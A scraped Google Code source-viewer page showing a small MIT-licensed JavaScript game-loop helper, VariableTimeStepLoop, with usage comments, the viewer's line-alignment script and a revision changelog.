><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',113);"> </span
></td><td id="113"><a href="#113">113</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_114"
onmouseover="gutterOver(114)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',114);"> </span
></td><td id="114"><a href="#114">114</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_115"
onmouseover="gutterOver(115)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',115);"> </span
></td><td id="115"><a href="#115">115</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_116"
onmouseover="gutterOver(116)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',116);"> </span
></td><td id="116"><a href="#116">116</a></td></tr
></table></pre>
<pre><table width="100%"><tr class="nocursor"><td></td></tr></table></pre>
</td>
<td id="lines">
<pre><table width="100%"><tr class="cursor_stop cursor_hidden"><td></td></tr></table></pre>
<pre class="prettyprint lang-js"><table id="src_table_0"><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_1
onmouseover="gutterOver(1)"
><td class="source">/*<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_2
onmouseover="gutterOver(2)"
><td class="source"> * VariableTimeStepLoop - Allows easy creation of variable time step loops for your games or applications.<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_3
onmouseover="gutterOver(3)"
><td class="source"> *<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_4
onmouseover="gutterOver(4)"
><td class="source"> * Copyright (c) 2012 Andrew Lundgren (http://grovebranch.net)<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_5
onmouseover="gutterOver(5)"
><td class="source"> * Licensed under the MIT License<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_6
onmouseover="gutterOver(6)"
><td class="source"> *<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_7
onmouseover="gutterOver(7)"
><td class="source"> * http://code.google.com/p/variable-time-step-loop<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_8
onmouseover="gutterOver(8)"
><td class="source"> *<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_9
onmouseover="gutterOver(9)"
><td class="source"> * Version: 1.0.0<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_10
onmouseover="gutterOver(10)"
><td class="source"> */<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_11
onmouseover="gutterOver(11)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_12
onmouseover="gutterOver(12)"
><td class="source">function VariableTimeStepLoop( /* optional */ onUpdateHandler) {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_13
onmouseover="gutterOver(13)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_14
onmouseover="gutterOver(14)"
><td class="source"> // used to track the time elapsed since previous update<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_15
onmouseover="gutterOver(15)"
><td class="source"> this.lastUpdateTime = null;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_16
onmouseover="gutterOver(16)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_17
onmouseover="gutterOver(17)"
><td class="source"> // delay between one update completing and the next beginning<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_18
onmouseover="gutterOver(18)"
><td class="source"> this.updateDelay = 0;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_19
onmouseover="gutterOver(19)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_20
onmouseover="gutterOver(20)"
><td class="source"> this.onUpdate = function(secondsElapsed) {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_21
onmouseover="gutterOver(21)"
><td class="source"> // update everything in this method, based on the number of seconds elapsed<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_22
onmouseover="gutterOver(22)"
><td class="source"> throw "The 'onUpdate' event must be assigned a handler.";<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_23
onmouseover="gutterOver(23)"
><td class="source"> }<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_24
onmouseover="gutterOver(24)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_25
onmouseover="gutterOver(25)"
><td class="source"> if( typeof( onUpdateHandler ) == "function" ) {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_26
onmouseover="gutterOver(26)"
><td class="source"> // an update handler was supplied via the constructor -- store the ref<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_27
onmouseover="gutterOver(27)"
><td class="source"> this.onUpdate = onUpdateHandler;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_28
onmouseover="gutterOver(28)"
><td class="source"> }<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_29
onmouseover="gutterOver(29)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_30
onmouseover="gutterOver(30)"
><td class="source"> // controls whether the loop is running<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_31
onmouseover="gutterOver(31)"
><td class="source"> this.isOn == false;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_32
onmouseover="gutterOver(32)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_33
onmouseover="gutterOver(33)"
><td class="source"> // on start event stub<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_34
onmouseover="gutterOver(34)"
><td class="source"> this.onStop = function() {};<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_35
onmouseover="gutterOver(35)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_36
onmouseover="gutterOver(36)"
><td class="source"> // on stop event stub<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_37
onmouseover="gutterOver(37)"
><td class="source"> this.onStart = function() {};<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_38
onmouseover="gutterOver(38)"
><td class="source">}<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_39
onmouseover="gutterOver(39)"
><td class="source">VariableTimeStepLoop.prototype.start = function() {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_40
onmouseover="gutterOver(40)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_41
onmouseover="gutterOver(41)"
><td class="source"> // turn on the loop<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_42
onmouseover="gutterOver(42)"
><td class="source"> this.isOn = true;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_43
onmouseover="gutterOver(43)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_44
onmouseover="gutterOver(44)"
><td class="source"> // fire start event, incase anyone cares<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_45
onmouseover="gutterOver(45)"
><td class="source"> this.onStart();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_46
onmouseover="gutterOver(46)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_47
onmouseover="gutterOver(47)"
><td class="source"> // set the last update time to now<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_48
onmouseover="gutterOver(48)"
><td class="source"> this.lastUpdateTime = new Date();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_49
onmouseover="gutterOver(49)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_50
onmouseover="gutterOver(50)"
><td class="source"> // begin update loop by manually calling the update tick<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_51
onmouseover="gutterOver(51)"
><td class="source"> this.onUpdateTick();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_52
onmouseover="gutterOver(52)"
><td class="source">}<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_53
onmouseover="gutterOver(53)"
><td class="source">VariableTimeStepLoop.prototype.stop = function() {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_54
onmouseover="gutterOver(54)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_55
onmouseover="gutterOver(55)"
><td class="source"> // turn off the loop<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_56
onmouseover="gutterOver(56)"
><td class="source"> this.isOn = false;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_57
onmouseover="gutterOver(57)"
><td class="source">}<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_58
onmouseover="gutterOver(58)"
><td class="source">VariableTimeStepLoop.prototype.onUpdateTick = function() {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_59
onmouseover="gutterOver(59)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_60
onmouseover="gutterOver(60)"
><td class="source"> // get current time<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_61
onmouseover="gutterOver(61)"
><td class="source"> var now = new Date();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_62
onmouseover="gutterOver(62)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_63
onmouseover="gutterOver(63)"
><td class="source"> // get seconds elapsed<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_64
onmouseover="gutterOver(64)"
><td class="source"> var secondsElapsed = (now - this.lastUpdateTime) / 1000;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_65
onmouseover="gutterOver(65)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_66
onmouseover="gutterOver(66)"
><td class="source"> // call update function w/ elapsed seconds<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_67
onmouseover="gutterOver(67)"
><td class="source"> this.onUpdate( secondsElapsed );<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_68
onmouseover="gutterOver(68)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_69
onmouseover="gutterOver(69)"
><td class="source"> // store new update time<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_70
onmouseover="gutterOver(70)"
><td class="source"> this.lastUpdateTime = now;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_71
onmouseover="gutterOver(71)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_72
onmouseover="gutterOver(72)"
><td class="source"> if( this.isOn == true ) <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_73
onmouseover="gutterOver(73)"
><td class="source"> {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_74
onmouseover="gutterOver(74)"
><td class="source"> // call this method again<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_75
onmouseover="gutterOver(75)"
><td class="source"> var self = this;<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_76
onmouseover="gutterOver(76)"
><td class="source"> setTimeout( function() { self.onUpdateTick(); }, this.updateDelay );<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_77
onmouseover="gutterOver(77)"
><td class="source"> } <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_78
onmouseover="gutterOver(78)"
><td class="source"> else <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_79
onmouseover="gutterOver(79)"
><td class="source"> {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_80
onmouseover="gutterOver(80)"
><td class="source"> // the loop is stopped now -- fire stop event, incase anyone cares<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_81
onmouseover="gutterOver(81)"
><td class="source"> this.onStop();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_82
onmouseover="gutterOver(82)"
><td class="source"> }<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_83
onmouseover="gutterOver(83)"
><td class="source">}<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_84
onmouseover="gutterOver(84)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_85
onmouseover="gutterOver(85)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_86
onmouseover="gutterOver(86)"
><td class="source">/*********** USAGE ***********<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_87
onmouseover="gutterOver(87)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_88
onmouseover="gutterOver(88)"
><td class="source"> function myUpdateHandler(secondsElapsed) {<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_89
onmouseover="gutterOver(89)"
><td class="source"> // update everything in this method, based on the number of seconds elapsed<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_90
onmouseover="gutterOver(90)"
><td class="source"> }<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_91
onmouseover="gutterOver(91)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_92
onmouseover="gutterOver(92)"
><td class="source"> // declare the loop<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_93
onmouseover="gutterOver(93)"
><td class="source"> var myGameLoop = new VariableTimeStepLoop(myUpdateHandler);<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_94
onmouseover="gutterOver(94)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_95
onmouseover="gutterOver(95)"
><td class="source"> // start the loop<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_96
onmouseover="gutterOver(96)"
><td class="source"> myGameLoop.start();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_97
onmouseover="gutterOver(97)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_98
onmouseover="gutterOver(98)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_99
onmouseover="gutterOver(99)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_100
onmouseover="gutterOver(100)"
><td class="source">**** UPDATE HANDLER ALTERNATIVE 1 ****<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_101
onmouseover="gutterOver(101)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_102
onmouseover="gutterOver(102)"
><td class="source">Supply an anonymous delegate, e.g.<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_103
onmouseover="gutterOver(103)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_104
onmouseover="gutterOver(104)"
><td class="source"> var myGameLoop = new VariableTimeStepLoop(function myUpdateHandler(secondsElapsed) { ... } );<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_105
onmouseover="gutterOver(105)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_106
onmouseover="gutterOver(106)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_107
onmouseover="gutterOver(107)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_108
onmouseover="gutterOver(108)"
><td class="source">**** UPDATE HANDLER ALTERNATIVE 2 **** <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_109
onmouseover="gutterOver(109)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_110
onmouseover="gutterOver(110)"
><td class="source">Assign update handler after declaring, e.g.<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_111
onmouseover="gutterOver(111)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_112
onmouseover="gutterOver(112)"
><td class="source"> var myGameLoop = new VariableTimeStepLoop();<br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_113
onmouseover="gutterOver(113)"
><td class="source"> <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_114
onmouseover="gutterOver(114)"
><td class="source"> myGameLoop.onUpdate = function myUpdateHandler(secondsElapsed) { ... } <br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_115
onmouseover="gutterOver(115)"
><td class="source"><br></td></tr
><tr
id=sl_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_116
onmouseover="gutterOver(116)"
><td class="source">*****************************/<br></td></tr
></table></pre>
<pre><table width="100%"><tr class="cursor_stop cursor_hidden"><td></td></tr></table></pre>
</td>
</tr></table>
<script type="text/javascript">
var lineNumUnderMouse = -1;
function gutterOver(num) {
gutterOut();
var newTR = document.getElementById('gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_' + num);
if (newTR) {
newTR.className = 'undermouse';
}
lineNumUnderMouse = num;
}
function gutterOut() {
if (lineNumUnderMouse != -1) {
var oldTR = document.getElementById(
'gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_' + lineNumUnderMouse);
if (oldTR) {
oldTR.className = '';
}
lineNumUnderMouse = -1;
}
}
var numsGenState = {table_base_id: 'nums_table_'};
var srcGenState = {table_base_id: 'src_table_'};
var alignerRunning = false;
var startOver = false;
function setLineNumberHeights() {
if (alignerRunning) {
startOver = true;
return;
}
numsGenState.chunk_id = 0;
numsGenState.table = document.getElementById('nums_table_0');
numsGenState.row_num = 0;
if (!numsGenState.table) {
return; // Silently exit if no file is present.
}
srcGenState.chunk_id = 0;
srcGenState.table = document.getElementById('src_table_0');
srcGenState.row_num = 0;
alignerRunning = true;
continueToSetLineNumberHeights();
}
function rowGenerator(genState) {
if (genState.row_num < genState.table.rows.length) {
var currentRow = genState.table.rows[genState.row_num];
genState.row_num++;
return currentRow;
}
var newTable = document.getElementById(
genState.table_base_id + (genState.chunk_id + 1));
if (newTable) {
genState.chunk_id++;
genState.row_num = 0;
genState.table = newTable;
return genState.table.rows[0];
}
return null;
}
var MAX_ROWS_PER_PASS = 1000;
function continueToSetLineNumberHeights() {
var rowsInThisPass = 0;
var numRow = 1;
var srcRow = 1;
while (numRow && srcRow && rowsInThisPass < MAX_ROWS_PER_PASS) {
numRow = rowGenerator(numsGenState);
srcRow = rowGenerator(srcGenState);
rowsInThisPass++;
if (numRow && srcRow) {
if (numRow.offsetHeight != srcRow.offsetHeight) {
numRow.firstChild.style.height = srcRow.offsetHeight + 'px';
}
}
}
if (rowsInThisPass >= MAX_ROWS_PER_PASS) {
setTimeout(continueToSetLineNumberHeights, 10);
} else {
alignerRunning = false;
if (startOver) {
startOver = false;
setTimeout(setLineNumberHeights, 500);
}
}
}
function initLineNumberHeights() {
// Do 2 complete passes, because there can be races
// between this code and prettify.
startOver = true;
setTimeout(setLineNumberHeights, 250);
window.onresize = setLineNumberHeights;
}
initLineNumberHeights();
</script>
<div id="log">
<div style="text-align:right">
<a class="ifCollapse" href="#" onclick="_toggleMeta(this); return false">Show details</a>
<a class="ifExpand" href="#" onclick="_toggleMeta(this); return false">Hide details</a>
</div>
<div class="ifExpand">
<div class="pmeta_bubble_bg" style="border:1px solid white">
<div class="round4"></div>
<div class="round2"></div>
<div class="round1"></div>
<div class="box-inner">
<div id="changelog">
<p>Change log</p>
<div>
<a href="/p/kineticjs-viewport/source/detail?spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68&r=f89689fb60f6bafe804486ba044aca3e5a9eaf68">f89689fb60f6</a>
by Andrew Lundgren <andrew@ubuntu.(none)>
on Mar 20, 2012
<a href="/p/kineticjs-viewport/source/diff?spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68&r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&format=side&path=/js/variable-time-step-loop-1.0.0.js&old_path=/js/variable-time-step-loop-1.0.0.js&old=">Diff</a>
</div>
<pre>initial check-in
</pre>
</div>
<script type="text/javascript">
var detail_url = '/p/kineticjs-viewport/source/detail?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68';
var publish_url = '/p/kineticjs-viewport/source/detail?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68#publish';
// describe the paths of this revision in javascript.
var changed_paths = [];
var changed_urls = [];
changed_paths.push('/css/base.css');
changed_urls.push('/p/kineticjs-viewport/source/browse/css/base.css?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/css/common.css');
changed_urls.push('/p/kineticjs-viewport/source/browse/css/common.css?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/img/.gitignore');
changed_urls.push('/p/kineticjs-viewport/source/browse/img/.gitignore?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/libs/canvg.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/libs/canvg.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/libs/jquery-1.7.1.min.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/libs/jquery-1.7.1.min.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/libs/jquery.mousewheel.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/libs/jquery.mousewheel.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/libs/kinetic-v3.8.1.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/libs/kinetic-v3.8.1.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/libs/modernizr-2.5.3.min.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/libs/modernizr-2.5.3.min.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/libs/rgbcolor.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/libs/rgbcolor.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/test.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/test.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/js/variable-time-step-loop-1.0.0.js');
changed_urls.push('/p/kineticjs-viewport/source/browse/js/variable-time-step-loop-1.0.0.js?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
var selected_path = '/js/variable-time-step-loop-1.0.0.js';
changed_paths.push('/notes.txt');
changed_urls.push('/p/kineticjs-viewport/source/browse/notes.txt?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/svg/butterfly.svg');
changed_urls.push('/p/kineticjs-viewport/source/browse/svg/butterfly.svg?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
changed_paths.push('/test.html');
changed_urls.push('/p/kineticjs-viewport/source/browse/test.html?r\x3df89689fb60f6bafe804486ba044aca3e5a9eaf68\x26spec\x3dsvnf89689fb60f6bafe804486ba044aca3e5a9eaf68');
function getCurrentPageIndex() {
for (var i = 0; i < changed_paths.length; i++) {
if (selected_path == changed_paths[i]) {
return i;
}
}
}
function getNextPage() {
var i = getCurrentPageIndex();
if (i < changed_paths.length - 1) {
return changed_urls[i + 1];
}
return null;
}
function getPreviousPage() {
var i = getCurrentPageIndex();
if (i > 0) {
return changed_urls[i - 1];
}
return null;
}
function gotoNextPage() {
var page = getNextPage();
if (!page) {
page = detail_url;
}
window.location = page;
}
function gotoPreviousPage() {
var page = getPreviousPage();
if (!page) {
page = detail_url;
}
window.location = page;
}
function gotoDetailPage() {
window.location = detail_url;
}
function gotoPublishPage() {
window.location = publish_url;
}
</script>
<style type="text/css">
#review_nav {
border-top: 3px solid white;
padding-top: 6px;
margin-top: 1em;
}
#review_nav td {
vertical-align: middle;
}
#review_nav select {
margin: .5em 0;
}
</style>
<div id="review_nav">
<table><tr><td>Go to: </td><td>
<select name="files_in_rev" onchange="window.location=this.value">
<option value="/p/kineticjs-viewport/source/browse/css/base.css?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/css/base.css</option>
<option value="/p/kineticjs-viewport/source/browse/css/common.css?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/css/common.css</option>
<option value="/p/kineticjs-viewport/source/browse/img/.gitignore?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/img/.gitignore</option>
<option value="/p/kineticjs-viewport/source/browse/js/libs/canvg.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/libs/canvg.js</option>
<option value="/p/kineticjs-viewport/source/browse/js/libs/jquery-1.7.1.min.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/libs/jquery-1.7.1.min.js</option>
<option value="/p/kineticjs-viewport/source/browse/js/libs/jquery.mousewheel.js?r=f89689fb60f6bafe804486ba044aca3e5a9eaf68&spec=svnf89689fb60f6bafe804486ba044aca3e5a9eaf68"
>/js/libs/jquery.mousewheel.js</option>
